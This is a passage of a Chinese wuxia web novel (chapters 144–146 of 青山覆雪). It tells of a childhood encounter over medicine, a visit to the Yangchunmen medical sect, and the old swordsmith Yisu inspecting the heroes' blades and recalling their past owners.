突然间被问到这个问题的方知许,先是微微一愣,随后那双灵动的大眼睛快速地眨动了几下。 “嗯……许是在弟子大会的时候吧......” 也或许是更久之前吧。 秦念淑也是在弟子大会那几日逐渐想起了方知许是谁。 她记起多年前的某一天,还是个孩子的方知许,因其先生病重急需良药救治,孤身一人前往阳春门求助。 也是在那个时候,两个年幼的孩子遇见了彼此。 一个求药,一个赐药。 一个敢接,一个敢给。 当秦方礼得知此事后,大发雷霆。 他严厉斥责秦念淑做事鲁莽冲动,竟然在对病情一无所知的情况下就擅自给病人开药。 更何况,仅仅凭借方知许的一面之词又怎能轻易下结论呢? 面对父亲的责骂,性格倔强的秦念淑却丝毫不觉得自己有错。 只见她双手叉腰,抬起头来直视着秦方礼,理直气壮地辩驳道:“可是爹,他那样子根本就不像是个骗子呀!再说了,他先生都快要病死了,难道要我见死不救吗?” 听到这番话,秦方礼气得差点当场晕倒在地。 他一直都无法理解,自己和晚晴都是那般沉稳内敛之人,为何偏偏生出这么个火爆脾气的闺女,那脾气简直就像一点即燃的火药一般! “堂堂阳春门难道没有一个闲着的大夫?需要你这么个小丫头来给人抓药???” 秦方礼瞪大双眼,满脸怒容地质问着。 只见秦念淑小嘴一撇,眼眶瞬间就红了起来,带着哭腔解释道:“我说了让他去药堂找师伯开药,可是那人根本不听啊,执意要我给他抓药,我又能有什么办法嘛……” 说到后面,声音越来越小,显得愈发委屈。 她实在想不通,自己分明是好心帮忙,怎么爹爹不但不夸奖自己,反而还这般责骂呢? 而且明明就是那个小孩子不信任药堂里的大夫,非得缠着让她帮忙抓药的呀。 就在这时,一旁的师叔看不下去了,连忙走上前来,将小念淑拉到自己身后护住。 本小章还未完,请点击下一页继续阅读后面精彩内容!“好啦好啦,阿念在抓药之前询问过我的意见,不是她自己在那儿胡乱折腾的,你就别再凶孩子了。” 秦方礼听了这话,狠狠地瞪了一眼师叔,然后长长地叹了口气,“唉,都是被你们给惯坏了,现在真是越发无法无天了!” 谁知秦念淑听到爹爹这样说,顿时气不打一处来,从师叔背后探出脑袋,对着秦方礼重重地哼哧了一声,不服气地嘟囔道:“我才没有无法无天呢!” 她最初本是不愿的,她知道自己年纪小且缺乏从医经验,根本不足以给人问诊抓药。 “你爹娘呢?让他们过来一趟吧。” “我没有爹娘,我只有先生。” 阳光下站着粉雕玉琢的小姑娘,而阴凉处跪着灰头土脸的小公子。 秦念淑闻言,耐着性子劝解道:“药堂里面有很多厉害的大夫呢,他们都是我师伯师叔。你去找他们帮忙,若是害怕,我可以陪你一起过去。” 然而,面对秦念淑的好意,方知许的眼神却逐渐黯淡下来。 他不敢赌。 先生的病来得异常迅猛,无论怎么看,都不像是普通的病症,反倒更像是一场精心策划的谋杀。 可是,他并不知道隐藏在幕后的敌人究竟是谁,所以既不敢声张此事,更不敢让任何人察觉到异样。 他心里自然是清楚阳春门的药师们个个医术高明,但是先生偏偏就是来到淮州之后才遭遇不测的。 经历了这样的事情,他无法相信任何成年人。 许是那句“没有爹娘”让秦念淑起了恻隐之心,最终决定帮他一把。 “好吧,既然如此,那咱们先说好了。我可以根据你所描述的病情给你抓药,但所有可能产生的后果都需要由你自己承担。” “姑娘今日大恩,在下没齿难忘,定当铭记于心!” 小孩满脸感激之色,毫不犹豫地双膝跪地,开始不停地磕头。 一下、两下……也不知道究竟磕了多少下,只听得那清脆而响亮的磕头声回荡在四周。 最终,秦念淑一只手提着药,另一只手则轻轻地伸出,接住了方知许不断磕碰着地面的额头。 她轻声说道:“傻子,别再磕啦,赶快拿着药去救你先生。” 听到这话,方知许这才如梦初醒般停止了磕头的动作。 他迅速站起身来,双手接过秦念淑递过来的药包,转身便准备离去。 然而,仅仅迈出几步之后,他像是突然想起什么似的,又急匆匆地跑回到秦念淑面前。 只见他略显紧张地从怀中摸索出一样东西,而后小心翼翼地将其递到秦念淑跟前,说道:“这个手串送给你,权当是这药钱吧。” 还没等秦念淑开口推辞,方知许已然如一阵风般再次转身飞奔而去,眨眼间便消失在了远方的街角处。 秦念淑望着方知许远去的背影,缓缓摊开手掌,仔细端详起手中的手串。 这手串是由无数颗晶莹剔透的红玉髓珠子串成,每一颗都圆润光滑,散发着淡淡的光泽。 握在手中时,能感受到一股冰凉而细腻的触感,仿佛玉石本身所蕴含的温润气息正透过指尖传递而来。 无论是从色泽还是质地上看,这显然都是上等的红玉髓。 看那人的衣着打扮,并非出自富贵之家的孩子。 如此珍贵的手串,想必对他而言,应是全身上下最为值钱且珍视之物。 弟子大会即将结束的前一天,秦念淑步履轻盈地走到方知许面前,笑着问道:“那些药可有派上用场?” 听到这话,方知许微微低下头,嘴角泛起一抹淡淡的笑容。 他自然明白秦念淑话中的意思,也知道秦念淑这是想起来他是谁了。 “有的,多亏秦姑娘当年慷慨赐药,先生才能侥幸保住性命。”方知许抬起头,目光温柔而感激地看着秦念淑。 秦念淑听闻此言,心中悬着的石头终于落了下来,她长长地舒出一口气,“那就好那就好,不知……先生如今身体状况如何?” 然而,方知许接下来的回答却让秦念淑刚刚放松的心弦再次紧绷起来。 只见他略微迟疑了一下,然后缓缓开口道:“先生已经不在人世了。” 一时间,气氛变得有些尴尬和沉重。 秦念淑意识到自己的失态,连忙红着脸道歉说:“不好意思,我......不知道他......” 方知许看着秦念淑那副窘迫不安的模样,赶忙柔声安慰道:“秦姑娘切莫自责,此事与你并无关系。” “若不是当初你赐药相救,恐怕先生早就已命丧黄泉了。所以无论结果如何,对你,我都心存感激。” 方知许其实本不姓方,也不是没人要的孤儿。 他的父母皆是行走江湖之人,为人正直善良,却不幸得罪了仇家,从此便过上了被一路追杀逃亡的生活。 柳暮云望着眼前那尚在襁褓之中、咿呀学语的幼子,心中满是怜爱与不忍。 这孩子,本应无忧无虑地享受着父母的呵护与关爱,然而如今却要跟随他们四处奔波,过上东躲西藏的日子。 这章没有结束,请点击下一页继续阅读!经过深思熟虑,柳暮云和夫人最终决定将孩子托付给一位他绝对信任的兄弟。 那人名叫方易春,也就是方知许的先生。 在分别之际,柳夫人满怀不舍地来到孩子身边。 她轻轻地抚摸着孩子粉嫩的脸颊,泪水止不住地流淌下来。 最后,柳夫人缓缓摘下手腕上戴着的红玉髓手串,小心翼翼地放入方知许的襁褓之中。 她默默地想着:“幸好,我们知知还如此年幼,尚不记得爹娘的模样。即便将来某一天突然想起爹娘,也不会有太多的感伤” 方易春为了确保安全,不仅更改了孩子的姓氏,而且每隔两年便会带着孩子更换一个居住之地。 这样频繁的变动虽然辛苦,但只要能护得孩子周全,一切都是值得的。 然而,当年那些追杀柳家之人自然清楚柳暮云还有一个儿子在世。 所以,这么多年来,他们从未放弃过对方知许的追踪与捕杀。 就在方易春带着方知许踏入鹤州的第一天,他就敏锐地察觉到似乎有人一直在暗中跟踪着他们。 尽管方易春处处小心提防,但最终还是不幸中招。 更可怕的是,他完全不清楚自己究竟是何时何地中的毒! 方易春心急如焚,他深知那些人随时可能现身发动攻击,而以他目前中毒后的身体状况,恐怕难以抵挡。 他想让方知许先逃离此地,保住性命,可是又实在放心不下这孤苦伶仃的孩子独自一人能逃往何处? 万幸的是,方知许不知从哪弄到的药,等到身体有些好转以后,一大一小就偷摸的溜出了淮州。 如今再回到淮州之时,难免心生诸多感慨。 方知许轻轻掀起马车的帘子,目光投向那熙熙攘攘、人头攒动的街道。 当年他们来得匆匆忙忙,离去时亦是如此仓促,以至于根本来不及细细端详这座城市的容颜。 不过,也并非全然没有值得铭记之事。 想当初,尽管时间短暂,但他却清晰地记住了一个姑娘的模样。 以至于后来,当他再次遇到秦念淑时,他依然能够在人群之中一眼将其认出。 即便两人之间相隔甚远,即使中间还隔着旁人。 他就是记住了,就是认出了。 瞧那大小姐生气的模样,简直同小时候毫无二致! 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第144章 沧海一粟 几人来到阳春门的时候,秦在锦和冬苓已经站在门口等候多时了。 “你怎得会比我们还早到?”江洵问道。 冬苓之前提过一嘴,说她的家乡在南华城,可从那里到淮州还需要些时日,毕竟中间还隔着蔺州和仁州。 “我在家没待两天就跑出来了,左右闲着也没事,就提前来这儿蹭吃蹭喝啦。”冬苓笑着说道。 听闻此言,一旁的傅霖忍不住轻笑出声,打趣道:“哟呵,没想到你还挺会挑地方啊。” 言外之意,她若是去献岁阁,那肯定是蹭不到吃喝。 冬苓自然听出了傅霖话语中的调侃意味,当即不满地“啧”了一声,反唇相讥道:“哼,你怎么也在这里?” 傅霖双手抱胸,似笑非笑地回应道:“你能来,我就不能来?” 冬苓闻言,扬起下巴,一脸骄傲地说道:“我可是锦哥儿的好朋友,我来这儿再正常不过了!” “但这次要成婚的可不是锦哥儿。” 这话虽说听起来让人不太舒服,可仔细琢磨一下却又不无道理,以至于冬苓一时间竟然找不出合适的话语来予以辩驳。 嘿呀,真是奇怪,怎么每次与这小子交锋都会败下阵来? 只见江洵面无表情的说道:“那也不是你啊。” 既然并非你成婚,你又为何这般着急忙慌地往前凑? 况且一来你和秦念淑没太多交情,二来与秦在锦也不算很熟。 要说蹭吃蹭喝的那个人应该是你吧。 听到江洵这番话,冬苓脸上露出了一丝得意洋洋的笑容。 瞧瞧!还是洵哥疼她! 自己说不过的人,自有人能说得过! 就在这时,几人身后传来了温如玉的声音:“都站在门口做什么,还不赶紧进去。” 秦在锦随即领着众人往里进,不愧是第一药宗,整个院子都飘着若有似无的中药味。 初闻时并不浓烈,但随着时间的推移却愈发清晰起来。 闻的时间久了,竟有一种提神醒脑的感觉,仿佛整个人都轻松了许多。 石板路的两侧特意开辟出两条小道,那上面铺满了密密麻麻、大小不一的鹅卵石。 可以看到不少阳春门的弟子正沿着这两道小路前行,整个人轻盈地踏在鹅卵石上,仿佛脚底生风一般。 邱漓见到此景,心中顿感新奇不已,她兴奋地拉着身旁的赵玉洲踩了上去。 可赵玉洲刚一落脚,便感觉脚掌一阵刺痛,那些坚硬的鹅卵石仿佛变成了无数根细针,扎得他疼痛难忍。 只见他疼得呲牙咧嘴,说啥都要走正道。 可邱漓紧紧地拽着他,小手如同铁钳一般牢牢地摁住了赵玉洲的脖子。 这下可好,脖子在他人手中,等同于被拿捏命脉,只好忍着疼痛,乖乖地跟着邱漓往前走。 阳春门分为前院、中院和后院三个部分。 前院里设有药堂和学堂,药堂里摆满了各种珍贵的草药和药具,用来给前来的患者问诊治疗。 此时,学堂内传出朗朗的读书声,弟子们便是在那里学习医术知识。 中院是专门用于晾晒药材和炼制丹药的场所。 宽敞的院子里,一排排架子整齐地摆放着正在晾干的各类药材,空气中弥漫着清新的草香。 而炼丹房里,则不时传来火焰燃烧和鼎炉碰撞的声音,药师们忙碌地炼制着各种药丸。 至于后院嘛,这里是药师和弟子们日常休息的地方。 一座座精致的房屋错落有致地分布在后院中,周围绿树成荫,环境清幽宜人。 值得一提的是,秦家三人与阳春门的其他成员一样,也居住在后院之中。 或许正是因为这种同吃同住的亲密关系,使得整个阳春门上下一心,团结紧密。 自阳春门创立以来,从未听闻有哪个药师背弃门派,独自出去另立门户。 一行人跟着秦在锦穿过小径,终于来到了后院。 刚踏入院子,一眼就瞧到了站在人群中央的沈亦行。 那人身姿挺拔如松,俊朗的面容上洋溢着柔和的笑容,正与身旁的秦方礼相谈甚欢。 此时的秦方礼同样面带微笑,时不时地回应着沈亦行的话语,两人之间的气氛轻松融洽。 而在秦方礼的右侧,则站着栖花里的县令金益冬,他身着一袭青袍,气质儒雅,正静静地聆听着二人的交谈。 或许是感受到不远处投来的视线,后院闲聊的几人不约而同地将目光投向了这边。 只见温如玉步履轻盈地快步走上前去,朝着秦方礼拱手行礼,并关切地问道:“多日不见,秦伯父身子近来可好?” “好着呢!”秦方礼爽朗地大笑起来,洪亮的声音响彻整个后院。 尽管江洵曾多次听闻过秦方礼这个名字,也曾数次造访阳春门,但这却是他头一回亲眼见到秦方礼本人。 即便过去了这么多年,眼前的秦方礼与那张挂在凭栏居的画像中人相比,容貌却并未发生太大的改变。 江挽跟在温如玉身后,待走近后,轻声喊了句:“伯父。” 这章没有结束,请点击下一页继续阅读!秦方礼听到这声呼唤,立刻转过头来,目光落在了江挽身上。 那一刹那,他的眼神变得复杂起来,其中既有对江挽成长的欣慰,又隐隐流露出些许懊悔之意,而更多的则是深深的疼惜。 渐渐地,他的眼眶开始泛红,泪水在其中打转。 眼前之人是故人之女,然而此时此刻,他却无法在众人面前与之相认。 秦方礼深深地吸了一口气,缓缓开口说道:“瘦了……” 假如当初知晓秦念淑所救之人就是江挽,无论如何,他定然会亲自前往探望一番。 若是当初在东宁城能够明了江挽便是江言庭的女儿,他必定会加倍用心照料。 只可惜,这世上从来都不存在后悔药这种东西。 他一生拯救过无数人的性命,却偏偏对她的双眼束手无策。 那人眼上蒙着的白纱,随着微风轻轻地飘动起来,它似乎在默默地向秦方礼诉说着,什么叫做无可奈何、无能为力。 “上次见面之时正值寒冬腊月,如今天气暖和,衣物较之前单薄不少,故而看上去便显得清瘦了些。”江挽轻声回应道。 虽然她的话语听起来颇为合情合理,但秦方礼心里清楚,这不过是场面上的客套言辞罢了。 只是当下周围人多嘴杂,而且各个门派纷纷前来送礼祝贺的宾客络绎不绝。 在这样的情形之下,他实在不敢与江挽有过多深入的交谈,生怕稍有不慎便会引起他人的注意和猜疑。 他倒是不怕有人来找他麻烦,可江挽不能再有一点闪失,不然他真的愧对江言庭。 秦方礼微微颔首,缓声道:“阿念正在房内,冬苓清楚是哪一间,由她引领二位前往。” 冬苓来到此地已有数日,一直与秦念淑同榻而眠,故而不仅对众人各自所居之室了然于胸,就连整个阳春门的布局也是了如指掌。 冬苓闻言,兴高采烈地牵起江挽和瑶卿的手,朝着秦念淑的房间迈步而去。 她才不擅长跟这群心眼子多的人打交道,正愁不知道用什么理由离开呢。 待人影渐行渐远之后,金益冬压低声音,向秦方礼询问道:“方才那位姑娘,可是若笙的女儿?” 想当初在栖花里时,他便隐隐觉着此女面容有几分熟悉,似曾相识。 只是当时那姑娘并未明示自己的身份,他亦是心领神会,未曾过多追问。 然而此时此刻,心中的疑虑终究还是难以按捺,忍不住开口求证一番。 秦方礼闻言,并未即刻给出明确答复,而是不动声色地以眼神向其示意,此事切不可张扬出去。 金益冬虽然向来不涉足江湖中的是非恩怨,但也明白此间之事牵涉甚广。 于是,他心领神会地点了点头,深知有些话语即便深埋心底,腐烂成泥,也断不能轻易向旁人吐露半句。 这边厢,秦在锦转头看向江洵,轻声言道:“一会儿带你去个地方。” 江洵满脸狐疑,不解地追问道:“去哪儿?” 都这个节骨眼上了,还有闲心带他们瞎逛??? 秦在锦拍了拍江洵的肩膀,“别问,跟着我去就行了!” 而后,秦在锦又用眼神示意沈亦行,让他一并过去。 真不明白跟这群老家伙们有啥好聊的,无非都是一些场面话。 但又不得不佩服他沈哥,场面话也能聊的风生水起。 于是,趁着他们将话题重点转向另一个人的时候,沈亦行才从中抽身而出。 江洵本想着临走前跟江挽打声招呼,还未等他出声,沈亦行就说道:“淮州遍布了阳春门的眼线,不用你讲,她也会知道你在哪的。” 行吧! 进门时是浩浩荡荡的一行人,而现在出门时却只有四人。 “你可知献岁是出于何人之手?”秦在锦看着江洵,开口问道。 江洵闻听此言,不禁微微一愣。 依稀记得,江挽曾跟他提过一嘴,这刀是由一粟前辈亲手打造的。 “咱现在就是去他那儿。”秦在锦不等江洵回话,接着说道。 沧海阁与阳春门之间相距并不算远,仅仅只隔了两条街道。 也正因如此,秦念淑自幼时起便常常往来于沧海阁之间,几乎每日都会央求一粟为其量身打造一把独属于她的名剑。 然而,每一次的请求最终都以失败告终。 一粟总是会婉言相拒,并告知秦念淑时机尚未成熟。 而且经过长时间的观察和考量,一粟认为相较于使用长剑,秦念淑其实更为擅长运用弓箭,故而才有了后来的雩风。 相比之下,年幼的秦在锦对于这些就没有多大的兴趣。 他认为医者,只需要把医术学好就行了。 尽管他也时常前往沧海阁走动,但大多时候都是受姐姐秦念淑所托,前去帮忙跑腿办事儿罢了。 对于已经认主的灵器,应定期去找专业的锻刀匠进行精心养护,仔细检查灵器是否存在损伤或瑕疵。 前两月的任务中,江洵为了全力保护秦在锦的安全,不惜让自己身陷险境。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!在激烈的战斗中,献岁不幸受到冲击,刀刃之上出现了一个明显的缺口。 尽管江洵一直说着没关系,但秦在锦心中一直对此事耿耿于怀,觉得亏欠了江洵。 好在他知道了献岁的来历,可以寻求一粟帮忙修复一下刀刃上的缺口。 “近几年倒很少听到有关一粟前辈的消息。”傅霖开口说道。 一旁的沈亦行解释道:“自从沧海阁交由中律司接管之后,就明令禁止向外出售各种兵器。” 正因如此,如果不是通过完成中律司的任务,很难获得沧海阁的兵器。 再说起一粟,他之所以能声名远扬,并不仅仅是因为出自他手的每一件兵器皆是赫赫有名的宝刀宝剑。 更为关键的一点在于,由他亲手锻造而成的兵器皆拥有独特的灵性,能够自主认主,成为名副其实的灵器。 几人很快就来到了沧海阁,江洵本以为会是个很气派的地方,可到了以后才发现,就是一个普通的铁匠铺,而这里的刀匠也并不多。 走进门后,一把老旧的躺椅摆在院子中央,上面坐着一个满头白发的老头。 他正悠然自得地靠在椅背上,眼睛看向不远处正在忙碌的工匠们,不时吆喝几句,俨然一副监工的模样。 “爷爷。”秦在锦笑着冲躺椅上的老头儿喊道。 “哎呦,这不是我们家小锦嘛!家里最近这么忙,怎得还有时间来看望爷爷呀?” 一粟闻声转过头,看到秦在锦后,原本严肃的面容瞬间绽放出慈爱的笑容。 他一边说着话,一边笑着将桌前摆放的糕点往秦在锦的方向推了推。 秦在锦赶忙上前几步来到桌子旁,先是恭恭敬敬地道谢,然后伸手接过糕点。 他拿起其中一块放在手中,接着开口说道:“爷爷,之前在给您的信中提到过,我朋友为了救我,导致灵器受到了损伤。所以今天特意带过来想请您帮忙看一看,不知您现在得不得空?” “得空得空,既然是救了我们家小锦,那老头子我肯定要帮你好好瞧瞧。” 一粟毫不犹豫地点头答应道,眼中闪过一丝关切之色。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第145章 顽劣难驯 得到肯定答复后的秦在锦面露喜色,连忙用眼神示意站在一旁的江洵。 江洵心领神会,轻念咒语,随后光芒一闪,献岁出现在手中。 随后,双手捧着献岁,走到一粟面前,缓缓将其递过去。 然而,一粟并没有立刻接过那把刀,而是双眼紧紧盯着它,上下仔细打量起来。 见此情形,秦在锦刚想要开口询问时,却听见一粟突然抬起头,目光犀利地望向江洵问道:“小友,这刀……是你的吗?” “不知前辈是否还记得,此刀乃是一次甲级任务的悬赏之物?”沈亦行上前问道。 “自然记得。”对方微微颔首,表示知晓此事。 “当时完成此项任务,并领取到奖赏之人,正是献岁阁的江挽。后来,她将此刀转赠给自己的爱徒——江洵,也就是站在此处的这位小友。” 沈亦行面带微笑,耐心地向一粟解释其中的来龙去脉。 一粟静静听完沈亦行所言,方才缓缓伸出双手,从江洵手中接过献岁。 他仔细端详着刀身,感受着其散发出的冰冷气息和隐隐透出的凌厉锋芒,不禁轻声问道:“不知这刀中的刀灵可曾认主?” “认过的。”江洵回答道。 听到这个答案,一粟脸上露出一丝无奈之色,轻轻摇了摇头,嘴里喃喃自语起来:“看来,还真让那小子猜对了……” 思绪渐渐飘回到多年以前,那时,秦方礼携同江言庭一同返回阳春门作短暂停留。 为了消磨时光,秦方礼带着江言庭来到了尚未被中律司接管的沧海阁。 彼时的沧海阁所打造出的各式兵器,有的会根据一粟的心情随意赠送他人,有的则会被各路豪杰以高价竞相购得。 就在一粟初次见到江言庭时,心中忽然一动,当下便决定要将自己早年精心锻造而成的那把雁翎腰刀当作礼物相赠于他。 然而,江言庭却面带微笑,语气委婉地以“自己不擅用刀”为由,拒绝了。 但一粟又怎么可能轻易放弃这已经跑到嘴边的肥肉? 他心里非常清楚,那刀散发着浓重的戾气,如果能被像江言庭这样性子温润的人所使用,必定能够相得益彰。 因此,对于江言庭给出的那些托词和解释,一粟根本就充耳不闻,苦口婆心地劝说江言庭将其收下。 “前辈,我知道此刀出自您之手,定然是一把绝世宝刀。只是,宝刀真正的主人并非在下,还请您且再等等。” 这番话听起来倒是合情合理,但一粟显然不吃这一套! 他气得鼻子都歪了,重重地哼了一声,没好气儿地说道:“你这小子,真是不知好歹!你可知有多少人正眼巴巴地盯着我的刀?可老夫偏偏就相中了你!” 站在一旁的秦方礼眼见两人僵持不下,连忙走上前来打圆场,笑着劝说道:“要不然,你就暂且先收下来。以后若是碰到更适合这把刀的人,到时再转送出去也不迟。” 谁曾想,一粟一听这话顿时火冒三丈,大声呵斥道:“你把我的宝刀当成什么了?阿猫阿狗吗?我说过了,刀只能给这小子用!没得商量!” 见一粟态度如此坚决,秦方礼也有些无奈,接着又提议道:“既如此,要不您先把刀拿出来让他瞧上一眼也好呀?说不定看过后,他会改变主意呢。” 本想着带江言庭散心的,这下可好,差点给他招了个仇人出来。 可他又了解一粟的脾气,就是一头驴,倔的要死!认定的事儿就不会改变。 今天江言庭若是不接下这把刀,还真不好走出这个门。 趁着老头转身去取刀之际,秦方礼压低声音说道:“星回也是出自他之手,若是见你接过那把刀,他心里肯定高兴。届时你再让他帮忙修复一下星回的裂痕,岂不两全其美?” “此举和趁火打劫有何区别?”江言庭一脸正色的回应道。 秦方礼闻言,不禁叹了口气,“你就是个死脑筋!不懂得变通!这两者区别大了!” 在两人正争论不休之时,一粟已然手持一把长刀从屋内走了出来。 即便是秦方礼这种平日里甚少接触刀剑之人,仅仅只是匆匆一瞥,也能轻易察觉到眼前这把刀绝非普通凡物可比。 此刀身呈现出一种相对笔直且细长的形态,刀尖部分则微微向上翘起,形成一个圆润而优美的弧形轮廓。 刀柄处更是通体漆黑如墨玉一般,散发出神秘深邃的光泽。 整把刀握在一粟手中,仿佛拥有着自己独特的生命和灵魂,那种感觉难以用言语准确形容。 它既像是挣脱了缰绳,获得自由的野马;又像是在遇到猎物时双眼放光的恶狼。 当江言庭的目光触及到刀身的刹那间,他便顿时理解了一粟为何如此执着地想要将其赠予他。 此时,站在身旁的秦方礼用胳膊碰了碰他,悄声说道:“你小子真是赚到了!” 呵呵......这哪里是赚到了? 这是捡了个烫手山芋! 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“此刀可有名字?”江言庭抬眸问道。 一粟摆摆手,毫不在意的说道:“你给起个名儿呗。” 江言庭怎会听不出他打的什么主意,起了名,便算是认了它。 罢了罢了,江言庭长叹了一口气。 放在自己身边也好,总比被那些为非作歹之人所用要好。 “便叫重华吧。”江言庭轻声说道。 “好好好,你且等等啊,我给你把名字刻上去,三日后来取。”一粟高兴的合不拢嘴。 当初在铸造这把刀之际,正是他满心戾气、人生最为困顿潦倒之时。 曾有人对他说过:一个人在铸造兵器时所倾注的情感如何,最终铸就出来的兵器便会呈现相应的模样。 他当时还说这话不过是以讹传讹罢了,根本不以为意。 可当这把刀被铸造完成后,他却沉默了许久,最终无奈地笑了。 此刀,要么是充满野心之辈方能驾驭,要么是至纯之人方能温润。 前者往往多生贪念,总徒增杀戮。 后者却又少之又少,如凤毛麟角。 所以当他看到江言庭的那一眼起,他便断定江言庭便是后者。 此时,秦方礼笑着走上前说道:“前辈,既然人家收了这把刀,那您也帮他瞧瞧他身上那把剑呗。” 他知道以江言庭的性子,肯定不好意思去麻烦别人帮忙。 但是没关系,他好意思啊! 为兄弟开口!为兄弟撑腰!为兄弟两肋插刀! “好说好说,拿来让让我瞅瞅。”一粟说话的同时朝江言庭伸了伸手。 莫说是修剑了,就是让他再铸把剑都行。 星回剑静静地躺在剑鞘之中,尚未露出其锋芒,但仅仅一眼,一粟就已然认出那是自己数年前亲手锻造而成的长剑。 然而,令他始料未及的是,这柄长剑之主竟然是眼前这个年轻人。 目光顺着剑柄缓缓移动至剑身约一尺之处,一条细微得几乎难以察觉的裂缝悄然映入眼帘。 这条裂缝虽不起眼,但倘若置之不理,长此以往下去,极有可能导致剑身断裂。 想要修复这样一道裂痕倒并非难事,真正棘手的问题在于这把剑所采用的特殊材料——寒铁。 这种珍稀的金属不仅数量稀少,而且价值不菲。 一时间,根本无法寻得与之完全相同的材料来进行修补。 望着一粟面露难色,江言庭赶忙开口说道:“有何困难,前辈但说无妨。” 听到这话,一粟不禁抬起头来,缓缓解释道:“此剑身所用之材乃是极为罕见的寒铁,而如今,老夫这里早已没有存货了。” 当年,林钟曾从他这里取走了两把宝剑,其中一把便是由寒铁精心打制而成,另一把则是选用了同样名贵的玄铁。 如今看来,江言庭能够持有这把剑,想必与林钟之间有着非同一般的关系。 想到此处,一粟轻轻拍了拍江言庭的肩膀,宽慰道:“且放心,待我日后觅得寒铁之时,定会第一时间告知方礼,届时无非就是再多跑一趟。” “好,那晚辈就等您的消息。”江言庭说完便朝他施了一礼。 当二人并肩走出门后,秦方礼忍不住转头询问身旁的江言庭:“为何你会说重华真正的主人并非是你?” 江言庭微微一笑,轻声回答道:“因为我没有野心。” 既有野心,内心却又保持纯澈之人,方可令其认主。 而江言庭缺乏前者,所以重华哪怕可以为他所用,也不会心甘情愿的认他为主。 听完当年之事的秦在锦不禁插话道:“如此说来倒还挺巧,我爹拉着江叔叔一同来此修剑,而今我又领着江洵前来修刀。” 言语间,他自己也感到难以置信,仿佛冥冥之中某些缘分早已注定。 “唉……可谓是‘物是人非事事休’啊!”一粟不禁发出一声长叹。 几年前,当中律司拿着重华找上他的时候,他心里便已然明了——这世间再无江言庭。 更令人惋惜的是,那小子居然到死都没让重华认主。 对于一件灵器而言,一旦认主,人与灵器之间便存在着一种紧密的联系,人存则灵器存,人亡则灵器亡。 正因为如此,中律司才胆敢肆无忌惮地要求他将刀身上所镌刻的“重华”二字抹去,等重新修补好刀身后,再行取走。 听到有人完成任务那日,一粟甚至特意抽出时间前往中律司一探究竟。 他想知道持刀之人会是何人。 当他发现是个姑娘家的时候,不禁涌起一丝忧虑。 重华虽然跟在江言庭身边数年,刀身的戾气早已收敛,可总归不适合姑娘家使用。 可当那姑娘转过身来时,只一眼,他心中的疑虑便顷刻间烟消云散。 看来,该是江家的刀,终究还是会回到江家人手中。 哪怕“重华”二字被洗去,可终会以另一个名字再重现于世。 正在这时,一旁的沈亦行忽然开口问道:“所以,江前辈他……没有前来修剑是吗?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!如果修好了,星回剑也就不会断了。 一粟听闻此言,不禁长叹一口气,缓缓摇了摇头说道:“说来也是遗憾,待我寻到寒铁之时,他已然隐退江湖,从此杳无音信。” 沈亦行听后,微微颔首,喃喃自语道:“原来如此,原来如此……” 原来星回早就有断裂的表象,原来中律司也参与其中且定是最重要的一环。 能给中律司下令之人唯有一人,而当年中律司是南宫靖掌权。 花岐、许青临、南宫靖...... 但绝对不止这三人这三个门派,还有其他人藏在他们未查到的地方。 “小子,你叫什么名字?”一粟瞄了眼几人身后的傅霖。 突然被问话的傅霖愣了一下,有些疑惑的用手指了指自己,没明白那老头儿方才是不是在问他。 “对,是你。” “傅霖。” 只见一粟哼哧一声地笑了,略带打量的目光看着傅霖,说道:“佩剑拿出来让老夫姗姗。” 傅霖虽不明白他此举何意,但看在秦在锦的面子上还是听话的将行野剑递了出去。 行野的剑身并什么问题,不需要做任何修复。 待一粟检查完归剑的时候,说道:“你爷爷居然会舍得给你用,当年你父亲求着他要这把剑的时候,他说啥都不给,看来隔辈亲是真的。” 傅霖双手接回剑后,淡淡说道:“行野顽劣难驯,适合我。” 顽劣难驯...... 江洵闻言,默默地点了点头。 “来都来了,你的也拿来让老夫瞅瞅吧。”说话间,一粟的目光看向沈亦行。 霜降出鞘之时,寒光乍现。 “今个儿还真是有意思。”一粟看到霜降时,瞬间笑出了声。 这活的久了,就是看的比别人多哈。 瞅瞅!这不正是林钟当年拿走的另一把剑么。 “星回可还在?”一粟边检查边问道。 江洵刚要回答的时候,被沈亦行冷不丁地敲了下手背,而后听他说道:“不在。” “也是,既然没有被一同送到我这里,想必也是不在了。”一粟惋惜地说道。 不仅仅是惋惜星回剑,更是惋惜使用星回剑的那个人。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第146章 万分喜欢 “你这把剑不常用吧?”一粟抬头问道。 “嗯。” 只见霜降的剑身宛如镜面一般光滑,且没有一丝细微的划痕。 锋利的剑刃更是完好无损,不见任何一个小小的缺口。 这般状态的剑身,要么是不常用,要么是用剑之人善用巧劲。 而眼前的这位年轻人,显然并非不通剑术之辈。 "你叫什么名字?" 一粟开口问道。 "沈亦行。" "哦......那难怪。" 一粟微微颔首,脸上露出一抹意味深长的笑容。 他虽然多年未曾过问世间之事,但对于江湖动态仍有所耳闻。 尤其是时常听闻他人议论今朝榜上的人物,其中最为频繁被提及的,便是排名首位的沈亦行。 今日得以亲眼相见,观其气质与性子,倒也确实当得起这第一名号。 稍作停顿后,一粟再次发问:"林钟是你什么人?" 话刚出口,他便意识到自己这个问题或许有些唐突,于是连忙补充道:"你且放心,我这儿并无外人在场。" 一直沉默不语的傅霖,在听到林钟这个名字时,眼中闪过一丝诧异之色。 在此之前,他也曾暗自揣测过沈亦行的身世背景,但所能想到的唯一一个可能,便是那位曾经名震江湖、创下风止令的林钟。 "他是我的师公。" 沈亦行语气平静地答道。 一粟闻言微微颔首,表示知晓,接着开口问道:“那老头子身体如何?” “劳您费心,尚且康健。”沈亦行礼貌的回应着。 傅霖原本猜测,林钟会是沈亦行的师父。 可如今听他这么一说,只是师公的话,那他师父又是谁? 也没听说林钟早年有收过什么徒弟。 一粟将霜降归还沈亦行,缓声道:“本以为你们师门众人皆一个德行,空有一身好本领,却奈何都是个与世无争的性子。可眼下看来,你倒是那个例外。” 沈亦行伸手稳稳接过霜降,低声回应道:“世事纷扰,总要有人去争上一争。” 这话说的让一粟很是赞同,转身拿起桌上的酒壶,继续言道:“倘若我没猜错的话,你师父可是江言庭?” 